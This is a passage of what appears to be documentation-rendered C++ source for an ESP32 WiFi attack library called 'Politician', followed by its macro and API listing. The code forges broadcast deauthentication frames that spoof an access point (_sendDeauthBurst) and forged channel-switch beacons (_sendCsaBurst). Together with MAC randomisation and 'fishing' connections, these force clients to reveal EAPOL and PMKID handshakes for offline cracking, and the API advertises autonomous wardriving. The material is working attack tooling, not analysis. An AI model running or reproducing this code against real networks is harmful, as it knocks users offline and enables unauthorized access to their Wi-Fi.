695void Politician::_parseSsid(const uint8_t *ie, uint16_t ie_len, char *out, uint8_t &out_len) {
696 out[0] = '\0'; out_len = 0; uint16_t pos = 0;
697 while (pos + 2 <= ie_len) {
698 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
699 if (pos + 2 + len > ie_len) break;
700 if (tag == 0 && len > 0 && len <= 32) {
701 memcpy(out, ie + pos + 2, len); out[len] = '\0'; out_len = len; return;
702 }
703 pos += 2 + len;
704 }
705}
706
707uint8_t Politician::_classifyEnc(const uint8_t *ie, uint16_t ie_len) {
708 bool has_rsn = false, has_wpa = false, is_enterprise = false;
709 uint16_t pos = 0;
710 while (pos + 2 <= ie_len) {
711 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
712 if (pos + 2 + len > ie_len) break;
713
714 if (tag == 48) {
715 has_rsn = true;
716 // Parse robust security network AKM
717 // Format: Version(2) + GroupCipher(4) + PairwiseCipherCount(2) + PairwiseCipherList(...) + AKMCount(2) + AKMList(...)
718 if (len >= 18) { // Minimum length to reach AKM count assuming 1 pairwise cipher
719 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
720 uint16_t akm_offset = pos + 10 + (pw_count * 4);
721
722 if (akm_offset + 2 <= pos + 2 + len) {
723 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
724 uint16_t list_offset = akm_offset + 2;
725
726 for (int i=0; i < akm_count; i++) {
727 if (list_offset + 4 > pos + 2 + len) break;
728 // OUI: 00-0F-AC, Suite Type: 1 (802.1X)
729 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
730 is_enterprise = true;
731 }
732 list_offset += 4;
733 }
734 }
735 }
736 }
737 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa = true;
738 pos += 2 + len;
739 }
740
741 if (is_enterprise) return 4;
742 return has_rsn ? 3 : (has_wpa ? 2 : 0);
743}
744
745Politician::Session* Politician::_findSession(const uint8_t *bssid, const uint8_t *sta) {
746 for (int i = 0; i < MAX_SESSIONS; i++) {
747 if (_sessions[i].active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0) return &_sessions[i];
748 }
749 return nullptr;
750}
751
752Politician::Session* Politician::_createSession(const uint8_t *bssid, const uint8_t *sta) {
753 for (int i = 0; i < MAX_SESSIONS; i++) {
754 if (!_sessions[i].active) {
755 memset(&_sessions[i], 0, sizeof(Session));
756 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
757 _sessions[i].active = true; _sessions[i].created_ms = millis();
758 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
759 return &_sessions[i];
760 }
761 }
762 uint32_t oldest_ms = UINT32_MAX; int oldest_idx = 0;
763 for (int i = 0; i < MAX_SESSIONS; i++) {
764 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
765 }
766 memset(&_sessions[oldest_idx], 0, sizeof(Session));
767 memcpy(_sessions[oldest_idx].bssid, bssid, 6); memcpy(_sessions[oldest_idx].sta, sta, 6);
768 _sessions[oldest_idx].active = true; _sessions[oldest_idx].created_ms = millis();
769 _lookupSsid(bssid, _sessions[oldest_idx].ssid, _sessions[oldest_idx].ssid_len);
770 return &_sessions[oldest_idx];
771}
772
773void Politician::_cacheAp(const uint8_t *bssid, const char *ssid, uint8_t ssid_len,
774 uint8_t enc, uint8_t channel, bool is_wpa3_only) {
775 for (int i = 0; i < MAX_AP_CACHE; i++) {
776 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
777 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
778 _apCache[i].enc = enc; _apCache[i].channel = channel;
779 _apCache[i].is_wpa3_only = is_wpa3_only;
780 return;
781 }
782 }
783 int slot = _apCacheCount % MAX_AP_CACHE;
784 _apCache[slot].active = true; _apCache[slot].last_probe_ms = 0;
785 _apCache[slot].last_stimulate_ms = 0;
786 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
787 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
788 _apCache[slot].is_wpa3_only = is_wpa3_only;
789 _apCacheCount++;
790}
791
792bool Politician::_lookupSsid(const uint8_t *bssid, char *out_ssid, uint8_t &out_len) {
793 for (int i = 0; i < MAX_AP_CACHE; i++) {
794 if (_apCache[i].active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
795 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len; return true;
796 }
797 }
798 out_ssid[0] = '\0'; out_len = 0; return false;
799}
800
801bool Politician::_isCaptured(const uint8_t *bssid) const {
802 for (int i = 0; i < _ignoreCount; i++) if (memcmp(_ignoreList[i], bssid, 6) == 0) return true;
803 for (int i = 0; i < MAX_CAPTURED; i++) if (_captured[i].active && memcmp(_captured[i].bssid, bssid, 6) == 0) return true;
804 return false;
805}
806
807void Politician::_sendDeauthBurst() {
808 uint8_t deauth[26] = {
809 0xC0, 0x00, 0x00, 0x00, // Frame Control (Deauth), Duration
810 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA (Broadcast to all clients)
811 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // SA (Spoofed AP)
812 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5], // BSSID (Spoofed AP)
813 0x00, 0x00, // Seq
814 0x07, 0x00 // Reason 7: Class 3 frame received from nonassociated STA
815 };
816
817 for (int i = 0; i < _cfg.deauth_burst_count; i++) {
818 deauth[22] = (i << 4) & 0xFF; // Increment sequence number roughly
819 esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
820 delay(2);
821 }
822 _log("[Deauth] Sent Reason 7 burst on ch%d\n", _fishChannel);
823}
824
825void Politician::_markCapturedSsidGroup(const char *ssid, uint8_t ssid_len) {
826 if (ssid_len == 0) return;
827 for (int i = 0; i < MAX_AP_CACHE; i++) {
828 if (!_apCache[i].active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
829 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
830 }
831}
832
833void Politician::_markCaptured(const uint8_t *bssid) {
834 if (_isCaptured(bssid)) return;
835 int slot = _capturedCount % MAX_CAPTURED;
836 _captured[slot].active = true; memcpy(_captured[slot].bssid, bssid, 6); _capturedCount++;
837 _log("[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
838}
839
840void Politician::_expireSessions(uint32_t timeoutMs) {
841 uint32_t now = millis();
842 for (int i = 0; i < MAX_SESSIONS; i++) if (_sessions[i].active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].active = false;
843}
844
845void Politician::_randomizeMac() {
846 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
847 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
848 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
849 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
850 _log("[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
851}
852
853void Politician::_startFishing(const uint8_t *bssid, const char *ssid, uint8_t ssid_len, uint8_t channel) {
854 if (_fishState != FISH_IDLE) return;
855 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
856 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
857 memcpy(sta_cfg.sta.password, "WiFighter00", 11); sta_cfg.sta.bssid_set = true; memcpy(sta_cfg.sta.bssid, bssid, 6);
858 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
859 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] = '\0';
860 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs = millis();
861 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged = false; _fishAssocLogged = false;
862 _probeLocked = true; _probeLockEndMs = millis() + _cfg.fish_timeout_ms;
863 _log("[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
864}
865
866void Politician::_sendCsaBurst() {
867 uint8_t frame[100]; int p = 0;
868 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
869 for (int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
870 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
871 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
872 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
873 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
874 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
875 for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); }
876 _log("[CSA] Sent burst on ch%d\n", _fishChannel);
877}
878
879void Politician::_processFishing() {
880 if (_fishState == FISH_IDLE) return;
881 if (_fishState == FISH_CSA_WAIT) {
882 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); return; }
883 if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
884 _csaSecondBurstSent = true;
885 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
886 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst();
887 _log("[CSA] Burst 2\n");
888 }
889 if (millis() >= _probeLockEndMs) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Wait expired\n"); }
890 return;
891 }
892 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); return; }
893 if (millis() >= _probeLockEndMs) {
894 esp_wifi_disconnect();
895 if (_fishRetry < _cfg.fish_max_retries) {
896 _fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
897 _probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
898 }
899 if (_attackMask & ATTACK_CSA) {
900 _log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
901 _sendCsaBurst(); _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
902 } else {
903 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Exhausted\n");
904 }
905 }
906}
907
908} // namespace politician
#define ATTACK_PMKID
#define LOG_FILTER_BEACONS
#define ATTACK_DEAUTH
#define LOG_FILTER_HANDSHAKES
#define ATTACK_STIMULATE
#define LOG_FILTER_PROBES
#define ATTACK_PASSIVE
#define CAP_EAPOL_CSA
#define CAP_EAPOL
#define ATTACK_CSA
#define ATTACK_ALL
#define CAP_PMKID
#define EAPOL_KEY_DATA_LEN
Definition Politician.h:74
#define FC_FROMDS_MASK
Definition Politician.h:45
#define MGMT_SUB_PROBE_RESP
Definition Politician.h:54
#define MGMT_SUB_BEACON
Definition Politician.h:55
#define MGMT_SUB_ASSOC_RESP
Definition Politician.h:52
#define EAPOL_MIN_FRAME_LEN
Definition Politician.h:63
#define EAPOL_ETHERTYPE_HI
Definition Politician.h:60
#define POLITICIAN_MAX_CHANNELS
Definition Politician.h:22
#define EAPOL_ETHERTYPE_LO
Definition Politician.h:61
#define FC_TYPE_MASK
Definition Politician.h:42
#define EAPOL_KEY_NONCE
Definition Politician.h:69
#define EAPOL_KEY_INFO
Definition Politician.h:66
#define KEYINFO_SECURE
Definition Politician.h:81
#define EAPOL_KEY_MIC
Definition Politician.h:73
#define FC_TYPE_DATA
Definition Politician.h:48
#define EAPOL_LLC_SIZE
Definition Politician.h:62
#define KEYINFO_PAIRWISE
Definition Politician.h:78
#define KEYINFO_ACK
Definition Politician.h:79
#define KEYINFO_MIC
Definition Politician.h:80
#define FC_SUBTYPE_MASK
Definition Politician.h:43
#define EAPOL_KEY_DATA
Definition Politician.h:75
#define FC_TYPE_MGMT
Definition Politician.h:46
#define FC_TODS_MASK
Definition Politician.h:44
#define FC_ORDER_MASK
Definition Politician.h:49
#define MGMT_SUB_PROBE_REQ
Definition Politician.h:53
#define KEYINFO_INSTALL
Definition Politician.h:82
The core WiFi handshake capturing engine.
Definition Politician.h:89
Error lockChannel(uint8_t ch)
Stops hopping and locks the radio to a specific channel.
void clearCapturedList()
Clears the captured BSSID list.
void markCaptured(const uint8_t *bssid)
Manually adds a BSSID to the "already captured" list to skip it.
void tick()
Main worker method.
void setActive(bool active)
Enables or disables frame processing.
void stopHopping()
Stops autonomous channel hopping and goes idle.
void setIgnoreList(const uint8_t(*bssids)[6], uint8_t count)
Sets a list of BSSIDs that should always be ignored by the engine.
Error setTarget(const uint8_t *bssid, uint8_t channel)
Focuses the engine on a single BSSID.
Error setChannel(uint8_t ch)
Manually sets the WiFi radio to a specific channel.
void clearTarget()
Clears the specific target and resumes autonomous wardriving.
Error begin(const Config &cfg=Config())
Initializes the WiFi driver in promiscuous mode.
void startHopping(uint16_t dwellMs=0)
Starts autonomous channel hopping.
void setAttackMask(uint8_t mask)
Configures which attack techniques are enabled.
void setChannelList(const uint8_t *channels, uint8_t count)
Restricts hopping to a specific list of channels.
static const uint8_t CHANNEL_5GHZ_COMMON[]
static bool isValidChannel(uint8_t ch)
Configuration for the Politician engine.